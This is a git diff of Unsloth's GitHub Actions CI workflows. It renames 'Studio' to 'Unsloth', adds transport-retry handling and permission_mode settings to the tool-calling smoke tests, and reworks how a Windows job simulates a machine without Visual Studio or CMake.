       - name: Pass bootstrap pw for IME / i18n test
         # IME smoke does the change-password against the bootstrap that
-        # Studio's frontend injects into the page, so it only needs the
+        # Unsloth's frontend injects into the page, so it only needs the
         # NEW password.
         run: |
           NEW="CIIme-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
@@ -273,7 +334,7 @@ jobs:
           mkdir -p logs/playwright_ime
           python tests/studio/playwright_chat_ime_i18n.py
 
-      - name: Stop third Studio
+      - name: Stop third Unsloth
         if: always()
         run: |
           kill "${STUDIO_IME_PID}" 2>/dev/null || true
@@ -293,10 +354,15 @@ jobs:
           path: |
             logs/studio.log
             logs/studio_extra.log
+            logs/studio_modelcfg.log
             logs/studio_ime.log
             logs/install.log
             logs/server-logs/
             logs/playwright
+            logs/playwright-permissions-*
             logs/playwright_extra
+            logs/playwright_fontscale
+            logs/playwright_modelcfg
             logs/playwright_ime
+            logs/studio-permissions-*.log
           retention-days: 7
diff --git a/.github/workflows/studio-update-smoke.yml b/.github/workflows/studio-update-smoke.yml
index 08a79afacd..625c2c7811 100644
--- a/.github/workflows/studio-update-smoke.yml
+++ b/.github/workflows/studio-update-smoke.yml
@@ -9,7 +9,7 @@
 # This catches regressions in setup.sh's update path that the existing
 # GGUF / wheel jobs would miss because they only invoke install.sh once.
 
-name: Studio Update CI
+name: Unsloth Update CI
 
 on:
   pull_request:
@@ -36,7 +36,7 @@ permissions:
 
 jobs:
   update-idempotency:
-    name: Studio Updating Tests
+    name: Unsloth Updating Tests
     runs-on: ubuntu-latest
     timeout-minutes: 15
     steps:
@@ -63,7 +63,7 @@ jobs:
           # post-step then fatal-errors with "Cache folder path is
           # retrieved for pip but doesn't exist on disk".
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         # Pass the workflow token so the llama.cpp prebuilt installer's
         # GitHub-API call to list releases isn't rate-limited (60/hr
         # unauthenticated). Without this, three consecutive install +
@@ -122,7 +122,7 @@ jobs:
           grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log
           echo "second update was clean"
 
-      - name: Boot Studio briefly to confirm the install is still usable
+      - name: Boot Unsloth briefly to confirm the install is still usable
         # If `update --local` accidentally broke the venv or wiped the
         # llama-server binary, the server would fail to start here.
         run: |
@@ -138,13 +138,13 @@ jobs:
             sleep 1
           done
           if ! jq -e '.status == "healthy"' /tmp/health.json 2>/dev/null; then
-            echo "Studio failed to come up after `update`"
+            echo "Unsloth failed to come up after `update`"
             tail -200 logs/studio.log
             kill "$PID" 2>/dev/null || true
             exit 1
           fi
           kill "$PID" 2>/dev/null || true
-          echo "post-update Studio /api/health OK"
+          echo "post-update Unsloth /api/health OK"
 
       - name: Uninstall and verify clean
         # Round-trip the installer through scripts/uninstall.sh: confirms the
diff --git a/.github/workflows/studio-windows-api-smoke.yml b/.github/workflows/studio-windows-api-smoke.yml
index e9abd2d669..6dbcceebbd 100644
--- a/.github/workflows/studio-windows-api-smoke.yml
+++ b/.github/workflows/studio-windows-api-smoke.yml
@@ -9,7 +9,7 @@
 # (Section 6) is Linux-only and short-circuits on non-POSIX; the rest
 # is platform-portable.
 
-name: Windows Studio API CI
+name: Windows Unsloth API CI
 
 on:
   pull_request:
@@ -34,7 +34,7 @@ permissions:
 
 jobs:
   api-smoke:
-    name: Studio API & Auth Tests
+    name: Unsloth API & Auth Tests
     runs-on: windows-latest
     timeout-minutes: 30
     defaults:
@@ -105,7 +105,7 @@ jobs:
           # studio-windows-update-smoke.yml for the full rationale --
           # creating an empty studio/frontend/dist trips setup.ps1's
           # mtime-based staleness check into "frontend up to date, skip
-          # rebuild" and Studio boots with an empty dist directory.
+          # rebuild" and Unsloth boots with an empty dist directory.
           # Add-MpPreference accepts paths that do not yet exist.
           foreach ($p in @(
             "$env:USERPROFILE\.unsloth",
@@ -121,7 +121,7 @@ jobs:
             }
           }
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -161,7 +161,7 @@ jobs:
           echo "install.ps1 installed the Windows prebuilt llama.cpp:"
           cat "$INFO"
 
-      - name: Add Studio shim to GITHUB_PATH
+      - name: Add Unsloth shim to GITHUB_PATH
         # install.ps1's User-PATH update doesn't propagate to a
         # running Git Bash session; export the shim dir so the
         # next `unsloth ...` invocation finds it.
@@ -177,7 +177,7 @@ jobs:
       - name: Install pyjwt for the JWT-expiry forge test
         run: python -m pip install 'pyjwt>=2.6'
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -207,7 +207,7 @@ jobs:
           echo "STUDIO_NEW_PW=$NEW"  >> "$GITHUB_ENV"
           echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV"
 
-      - name: Run Studio API & Auth tests
+      - name: Run Unsloth API & Auth tests
         # Do NOT pin STUDIO_AUTH_DIR here. The Mac/Linux mirrors
         # hardcode runner-specific paths (/Users/runner/...,
         # /home/runner/...), but on Windows the path is
@@ -219,7 +219,7 @@ jobs:
           BASE_URL: http://127.0.0.1:18895
         run: python tests/studio/studio_api_smoke.py
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index 8186c07211..3ebe442f52 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-# Three end-to-end smoke jobs that boot a freshly-installed Studio and
+# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and
 # exercise the surfaces real users hit through the OpenAI / Anthropic
 # SDKs and curl, on the FREE windows-latest runner. Each job picks the
 # smallest model that exercises the behaviour under test, primes
@@ -16,7 +16,7 @@
 #        Qwen3-VL-2B-Instruct UD-IQ2_XXS + mmproj-F16 (~1.4 GiB total).
 #        Within the 14 GB windows-latest SSD budget.
 
-name: Windows Studio GGUF CI
+name: Windows Unsloth GGUF CI
 
 on:
   pull_request:
@@ -57,7 +57,7 @@ jobs:
       STUDIO_PORT: '18888'
       HF_HOME: ${{ github.workspace }}/hf-cache
       # Force UTF-8 for stdio (Windows defaults to cp1252; hf
-      # download / Studio CLI print "✓" checkmarks and crash
+      # download / Unsloth CLI print "✓" checkmarks and crash
       # otherwise).
       PYTHONIOENCODING: utf-8
       PYTHONUTF8: '1'
@@ -160,7 +160,7 @@ jobs:
           # studio-windows-update-smoke.yml for the full rationale --
           # creating an empty studio/frontend/dist trips setup.ps1's
           # mtime-based staleness check into "frontend up to date, skip
-          # rebuild" and Studio boots with an empty dist directory.
+          # rebuild" and Unsloth boots with an empty dist directory.
           # Add-MpPreference accepts paths that do not yet exist.
           foreach ($p in @(
             "$env:USERPROFILE\.unsloth",
@@ -176,7 +176,7 @@ jobs:
             }
           }
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -214,7 +214,7 @@ jobs:
           echo "install.ps1 installed the Windows prebuilt llama.cpp:"
           cat "$INFO"
 
-      - name: Add Studio shim to GITHUB_PATH
+      - name: Add Unsloth shim to GITHUB_PATH
         run: |
           SHIM_DIR=~/.unsloth/studio/bin
           if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@@ -227,7 +227,7 @@ jobs:
       - name: Install OpenAI + Anthropic Python SDKs
         run: python -m pip install 'openai>=1.50' 'anthropic>=0.40'
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -244,7 +244,7 @@ jobs:
             fi
             sleep 1
           done
-          echo "Studio did not become healthy in 180s"
+          echo "Unsloth did not become healthy in 180s"
           tail -200 logs/studio.log
           exit 1
 
@@ -281,7 +281,7 @@ jobs:
           # Retry the load step a few times so a transient TCP RST during
           # llama-server warm-up (Windows runner image churn,
           # windows-latest -> windows-2025-vs2026 rollout) doesn't fail
-          # the whole job. The Studio backend's _wait_for_health now
+          # the whole job. The Unsloth backend's _wait_for_health now
           # catches httpx.ReadError too; this retry layer covers the
           # cases the backend can't recover from on its own.
           LOAD_OK=0
@@ -382,15 +382,15 @@ jobs:
               print(f"[{label}] OK -- 4 turns, run1 == run2, history grounded")
           PY
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         # Run as cmd so we are not running through the Git Bash shell;
         # Git Bash on windows-latest has been observed to exit 143
         # (SIGTERM) from any inline kill/sleep block, masking a green
-        # test run. The runner reclaims the Studio child process at
+        # test run. The runner reclaims the Unsloth child process at
         # job end either way, so just emit a marker and exit 0.
         shell: cmd
-        run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
+        run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
 
       - name: Collect llama-server logs
         if: always()
@@ -398,10 +398,10 @@ jobs:
         # copy must not fail an otherwise-green job.
         continue-on-error: true
         shell: bash
-        # Copy llama-server's own stdout/stderr (teed by Studio under
+        # Copy llama-server's own stdout/stderr (teed by Unsloth under
         # ~/.unsloth/studio/logs/llama-server/) into the workspace so
         # upload-artifact can pick it up. Crucial for diagnosing a
-        # subprocess crash where Studio's traceback only shows the
+        # subprocess crash where Unsloth's traceback only shows the
         # symptom (httpx ReadError) but not the cause.
         run: |
           mkdir -p logs/llama-server
@@ -439,14 +439,14 @@ jobs:
       # (211 s on first run; subsequent runs hit the cache, but the
       # one-time cost recurs every time the cache key bumps). Use
       # main's `--local-dir gguf-cache` pattern: cache the flat .gguf
-      # only, pass an absolute path to Studio's /api/inference/load.
+      # only, pass an absolute path to Unsloth's /api/inference/load.
       # The OpenAI/Anth and JSON+images jobs still cover the
       # gguf_variant resolution path.
       GGUF_REPO: unsloth/Qwen3.5-2B-GGUF
       GGUF_FILE: Qwen3.5-2B-UD-Q4_K_XL.gguf
       STUDIO_PORT: '18898'
       # Force UTF-8 for stdio (Windows defaults to cp1252; hf
-      # download / Studio CLI print "✓" checkmarks and crash
+      # download / Unsloth CLI print "✓" checkmarks and crash
       # otherwise).
       PYTHONIOENCODING: utf-8
       PYTHONUTF8: '1'
@@ -507,7 +507,7 @@ jobs:
           # studio-windows-update-smoke.yml for the full rationale --
           # creating an empty studio/frontend/dist trips setup.ps1's
           # mtime-based staleness check into "frontend up to date, skip
-          # rebuild" and Studio boots with an empty dist directory.
+          # rebuild" and Unsloth boots with an empty dist directory.
           # Add-MpPreference accepts paths that do not yet exist.
           foreach ($p in @(
             "$env:USERPROFILE\.unsloth",
@@ -523,7 +523,7 @@ jobs:
             }
           }
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -561,7 +561,7 @@ jobs:
           echo "install.ps1 installed the Windows prebuilt llama.cpp:"
           cat "$INFO"
 
-      - name: Add Studio shim to GITHUB_PATH
+      - name: Add Unsloth shim to GITHUB_PATH
         run: |
           SHIM_DIR=~/.unsloth/studio/bin
           if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@@ -571,7 +571,7 @@ jobs:
           fi
           cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH"
 
-      - name: Reset auth + boot Studio (API-only, default tool policy)
+      - name: Reset auth + boot Unsloth (API-only, default tool policy)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -607,7 +607,7 @@ jobs:
           # raw string, but we cannot embed `\a` etc. in JSON without
           # JSON-string-escaping every backslash. Replace `\` with `/`
           # via bash parameter expansion -- pathlib.Path on Windows
-          # accepts forward slashes natively, so Studio's loader sees
+          # accepts forward slashes natively, so Unsloth's loader sees
           # a normal path.
           GGUF_PATH="${GITHUB_WORKSPACE//\\//}/gguf-cache/${GGUF_FILE}"
           ls -lh "$GGUF_PATH"
@@ -634,6 +634,8 @@ jobs:
           python - <<'PY'
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
 
           BASE = os.environ["BASE_URL"]
@@ -656,10 +658,41 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
-          def post_sse(path, body, *, timeout = 600):
+          def post_sse(path, body, *, timeout = 600, retries = 1, soft = False):
+              # The server-side agentic loop always answers over SSE. A
+              # shared CI runner can stall the stream transport (the
+              # connection opening, or a mid-stream read) even when Unsloth
+              # is healthy, so harden the read three ways:
+              #   * retry a transport stall once with a fresh request,
+              #     capped at 300s (a healthy server answers a retry
+              #     quickly, a wedged one never does);
+              #   * return any text already streamed before a stall, so a
+              #     stall on the trailing tokens -- after the answer
+              #     arrived -- still counts;
+              #   * when every attempt yields nothing, a hard call
+              #     re-raises while a soft call (the best-effort
+              #     server-side tool probes) returns None so the caller
+              #     can WARN instead of sinking the whole job.
+              # HTTP status errors always surface immediately.
               body = {**body, "stream": True}
               data = json.dumps(body).encode()
               req = urllib.request.Request(
@@ -671,24 +704,43 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              parts = []
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  for raw in resp:
-                      line = raw.decode().strip()
-                      if not line.startswith("data: "):
-                          continue
-                      payload = line[6:]
-                      if payload == "[DONE]":
-                          break
-                      try:
-                          chunk = json.loads(payload)
-                      except json.JSONDecodeError:
-                          continue
-                      for choice in chunk.get("choices", []):
-                          delta = choice.get("delta", {}) or {}
-                          if delta.get("content"):
-                              parts.append(delta["content"])
-              return "".join(parts)
+              for attempt in range(retries + 1):
+                  parts = []
+                  t = timeout if attempt == 0 else min(timeout, 300)
+                  try:
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          for raw in resp:
+                              line = raw.decode().strip()
+                              if not line.startswith("data: "):
+                                  continue
+                              payload = line[6:]
+                              if payload == "[DONE]":
+                                  break
+                              try:
+                                  chunk = json.loads(payload)
+                              except json.JSONDecodeError:
+                                  continue
+                              for choice in chunk.get("choices", []):
+                                  delta = choice.get("delta", {}) or {}
+                                  if delta.get("content"):
+                                      parts.append(delta["content"])
+                      return "".join(parts)
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      # Text already streamed is a valid signal -- keep it
+                      # rather than re-running a heavy generation.
+                      if parts:
+                          joined = "".join(parts)
+                          print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True)
+                          return joined
+                      if attempt == retries:
+                          if soft:
+                              print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True)
+                              return None
+                          raise
+                      print(f"[retry-sse] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. Standard OpenAI function calling ──────────────────────
           weather_tool = {
@@ -731,16 +783,24 @@ jobs:
               )
 
           # ── 2. Server-side python tool ───────────────────────────────
+          # Bound each soft probe to a single 180s attempt (timeout=180,
+          # retries=0): this job runs two of them back-to-back under a
+          # 30-minute cap, so the default 600+15+300s per stall could hit
+          # the workflow timeout before the thinking checks run. A soft
+          # probe only WARNs anyway, so a retry buys nothing.
           content = post_sse("/v1/chat/completions", {
               "messages":      [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}],
               "enable_tools":  True,
+              "permission_mode": "full",
               "enabled_tools": ["python"],
               "session_id":    "ci-tool-calling-py",
               "temperature":   TEMP,
               "seed":          SEED,
               "max_tokens":    600,
-          })
-          if "56088" in content or "56,088" in content:
+          }, timeout = 180, retries = 0, soft = True)
+          if content is None:
+              print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking")
+          elif "56088" in content or "56,088" in content:
               print(f"[tools] PASS python tool ({len(content)} chars, found 56088)")
           else:
               assert content, "python tool: SSE stream empty"
@@ -757,13 +817,16 @@ jobs:
           content = post_sse("/v1/chat/completions", {
               "messages":      [{"role": "user", "content": "Use the terminal tool to run `echo hello-bash-tool` and tell me the exact output."}],
               "enable_tools":  True,
+              "permission_mode": "full",
               "enabled_tools": ["terminal"],
               "session_id":    "ci-tool-calling-bash",
               "temperature":   TEMP,
               "seed":          SEED,
               "max_tokens":    600,
-          })
-          if "hello-bash-tool" in content:
+          }, timeout = 180, retries = 0, soft = True)
+          if content is None:
+              print("[tools] WARN terminal tool: SSE transport stalled after retries -- non-blocking")
+          elif "hello-bash-tool" in content:
               print(f"[tools] PASS terminal tool ({len(content)} chars)")
           else:
               assert content, "terminal tool: SSE stream empty"
@@ -779,12 +842,13 @@ jobs:
               content = post_sse("/v1/chat/completions", {
                   "messages":      [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}],
                   "enable_tools":  True,
+                  "permission_mode": "full",
                   "enabled_tools": ["web_search"],
                   "session_id":    "ci-tool-calling-web",
                   "temperature":   TEMP,
                   "seed":          SEED,
                   "max_tokens":    400,
-              })
+              }, timeout = 180, retries = 0)
               print(f"[tools] PASS web_search stream ({len(content)} chars)")
           except Exception as exc:
               print(f"[tools] WARN web_search probe failed (non-blocking): {exc}")
@@ -818,15 +882,15 @@ jobs:
           print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)")
           PY
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         # Run as cmd so we are not running through the Git Bash shell;
         # Git Bash on windows-latest has been observed to exit 143
         # (SIGTERM) from any inline kill/sleep block, masking a green
-        # test run. The runner reclaims the Studio child process at
+        # test run. The runner reclaims the Unsloth child process at
         # job end either way, so just emit a marker and exit 0.
         shell: cmd
-        run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
+        run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
 
       - name: Collect llama-server logs
         if: always()
@@ -834,10 +898,10 @@ jobs:
         # copy must not fail an otherwise-green job.
         continue-on-error: true
         shell: bash
-        # Copy llama-server's own stdout/stderr (teed by Studio under
+        # Copy llama-server's own stdout/stderr (teed by Unsloth under
         # ~/.unsloth/studio/logs/llama-server/) into the workspace so
         # upload-artifact can pick it up. Crucial for diagnosing a
-        # subprocess crash where Studio's traceback only shows the
+        # subprocess crash where Unsloth's traceback only shows the
         # symptom (httpx ReadError) but not the cause.
         run: |
           mkdir -p logs/llama-server
@@ -875,7 +939,7 @@ jobs:
       STUDIO_PORT: '18899'
       HF_HOME: ${{ github.workspace }}/hf-cache
       # Force UTF-8 for stdio (Windows defaults to cp1252; hf
-      # download / Studio CLI print "✓" checkmarks and crash
+      # download / Unsloth CLI print "✓" checkmarks and crash
       # otherwise).
       PYTHONIOENCODING: utf-8
       PYTHONUTF8: '1'
@@ -941,7 +1005,7 @@ jobs:
           # studio-windows-update-smoke.yml for the full rationale --
           # creating an empty studio/frontend/dist trips setup.ps1's
           # mtime-based staleness check into "frontend up to date, skip
-          # rebuild" and Studio boots with an empty dist directory.
+          # rebuild" and Unsloth boots with an empty dist directory.
           # Add-MpPreference accepts paths that do not yet exist.
           foreach ($p in @(
             "$env:USERPROFILE\.unsloth",
@@ -957,7 +1021,7 @@ jobs:
             }
           }
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -995,7 +1059,7 @@ jobs:
           echo "install.ps1 installed the Windows prebuilt llama.cpp:"
           cat "$INFO"
 
-      - name: Add Studio shim to GITHUB_PATH
+      - name: Add Unsloth shim to GITHUB_PATH
         run: |
           SHIM_DIR=~/.unsloth/studio/bin
           if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@@ -1008,7 +1072,7 @@ jobs:
       - name: Install OpenAI + Anthropic Python SDKs
         run: python -m pip install 'openai>=1.50' 'anthropic>=0.40'
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -1063,6 +1127,8 @@ jobs:
           import base64
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
           from openai import OpenAI
           from anthropic import Anthropic
@@ -1082,8 +1148,24 @@ jobs:
                       "Content-Type":  "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. response_format = json_object (JSON mode) ─────────────
           status, data = post("/v1/chat/completions", {
@@ -1180,7 +1262,7 @@ jobs:
           except Exception as exc:
               print(
                   f"[image/openai] WARN image_url SDK call raised: {type(exc).__name__}: "
-                  f"{exc}. Studio successfully forwarded the request; failure here is "
+                  f"{exc}. Unsloth successfully forwarded the request; failure here is "
                   f"upstream llama.cpp vision behaviour."
               )
 
@@ -1221,19 +1303,19 @@ jobs:
               print(
                   f"[image/anthropic] WARN anthropic image SDK call raised: "
                   f"{type(exc).__name__}: {exc}. Likely upstream llama.cpp vision "
-                  f"behaviour, NOT a Studio regression."
+                  f"behaviour, NOT an Unsloth regression."
               )
           PY
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         # Run as cmd so we are not running through the Git Bash shell;
         # Git Bash on windows-latest has been observed to exit 143
         # (SIGTERM) from any inline kill/sleep block, masking a green
-        # test run. The runner reclaims the Studio child process at
+        # test run. The runner reclaims the Unsloth child process at
         # job end either way, so just emit a marker and exit 0.
         shell: cmd
-        run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
+        run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
 
       - name: Collect llama-server logs
         if: always()
@@ -1241,10 +1323,10 @@ jobs:
         # copy must not fail an otherwise-green job.
         continue-on-error: true
         shell: bash
-        # Copy llama-server's own stdout/stderr (teed by Studio under
+        # Copy llama-server's own stdout/stderr (teed by Unsloth under
         # ~/.unsloth/studio/logs/llama-server/) into the workspace so
         # upload-artifact can pick it up. Crucial for diagnosing a
-        # subprocess crash where Studio's traceback only shows the
+        # subprocess crash where Unsloth's traceback only shows the
         # symptom (httpx ReadError) but not the cause.
         run: |
           mkdir -p logs/llama-server
@@ -1266,7 +1348,7 @@ jobs:
 
   # ── folded from studio-windows-no-vs-smoke.yml: install + run with no Visual Studio ──
   no-vs-cpu:
-    name: Studio install + inference without Visual Studio
+    name: Unsloth install + inference without Visual Studio
     runs-on: windows-latest
     timeout-minutes: 35
     defaults:
@@ -1334,42 +1416,75 @@ jobs:
             try { Add-MpPreference -ExclusionPath $p -ErrorAction Stop } catch { }
           }
 
-      - name: Hide Visual Studio + CMake (simulate a host with no build tools)
+      - name: Prepare no-build-tools simulation
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
-          # A Program Files dir can hold a transient handle (Defender / MSBuild node)
-          # so Rename-Item intermittently fails with "Access is denied"; retry to ride it out.
-          function Rename-WithRetry($Path, $NewName) {
-            for ($i = 1; $i -le 6; $i++) {
-              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
-              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+          $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
+          $pf = Join-Path $root 'ProgramFiles'
+          $pfx86 = Join-Path $root 'ProgramFilesx86'
+          New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
+
+          $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
+          foreach ($tool in @('cmake', 'cl.exe')) {
+            foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
+              if ($cmd.Source) {
+                $dir = Split-Path -Parent $cmd.Source
+                if ($dir) {
+                  [void] $blocked.Add(
+                    [Environment]::ExpandEnvironmentVariables($dir).Trim().Trim('"').TrimEnd('\'))
+                }
+              }
             }
           }
-          # Rename the Visual Studio install roots (incl. the Installer that holds
-          # vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss.
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            if (Test-Path -LiteralPath $d) {
-              Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff')
-              Write-Host "Hid VS: $d"
-            }
+          # Normalized comparison so registry spellings (trailing slash,
+          # unexpanded %VAR%) still match.
+          function Test-Blocked([string]$p) {
+            $n = [Environment]::ExpandEnvironmentVariables($p).Trim().Trim('"').TrimEnd('\')
+            return $blocked.Contains($n)
           }
-          # Surgically rename each cmake executable on PATH (not its parent dir --
-          # cmake can share a dir with other shims) so Get-Command cmake fails.
-          $hidden = @()
-          foreach ($c in (Get-Command cmake -All -ErrorAction SilentlyContinue)) {
-            if ($c.Source -and (Test-Path -LiteralPath $c.Source)) {
-              Rename-WithRetry $c.Source ((Split-Path $c.Source -Leaf) + '.off')
-              $hidden += $c.Source
-              Write-Host "Hid cmake: $($c.Source)"
-            }
+
+          $pathParts = $env:Path -split [IO.Path]::PathSeparator |
+            Where-Object { $_ -and -not (Test-Blocked $_) }
+          $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
+
+          # install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment
+          # rebuild the session Path from these scopes mid-install, so filter
+          # them too. Originals are saved for the cleanup step.
+          foreach ($scope in @('Machine', 'User')) {
+            $orig = [Environment]::GetEnvironmentVariable('Path', $scope)
+            if (-not $orig) { continue }
+            Set-Content -LiteralPath (Join-Path $root "orig-path-$scope.txt") -Value $orig -NoNewline
+            $kept = ($orig -split ';' | Where-Object { $_ -and -not (Test-Blocked $_) }) -join ';'
+            [Environment]::SetEnvironmentVariable('Path', $kept, $scope)
+            Write-Host "Filtered $scope Path scope."
+          }
+
+          "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          $noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+
+          Write-Host "ProgramFiles simulation root: $pf"
+          Write-Host "ProgramFiles(x86) simulation root: $pfx86"
+          if ($blocked.Count -gt 0) {
+            Write-Host "Removed build-tool PATH dirs:"
+            $blocked | Sort-Object | ForEach-Object { Write-Host "  $_" }
+          } else {
+            Write-Host "No cmake or cl.exe PATH dirs found to remove."
           }
-          ("HIDDEN_CMAKE=" + ($hidden -join '|')) | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
 
       - name: Assert Visual Studio + CMake are genuinely undetectable
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
+          # Set in-script: the runner does not apply step-level env keys with
+          # parentheses (`ProgramFiles(x86)`), so vswhere still found VS.
+          if (-not $env:NO_BUILD_TOOLS_PROGRAMFILES) { Write-Error "NO_BUILD_TOOLS_* env missing (Prepare step did not run?)"; exit 1 }
+          $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
+          ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
+          $env:Path = $env:NO_BUILD_TOOLS_PATH
           . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
           $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
           foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Find-VsBuildTools')) {
@@ -1387,13 +1502,17 @@ jobs:
           python -m pip install torch --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple
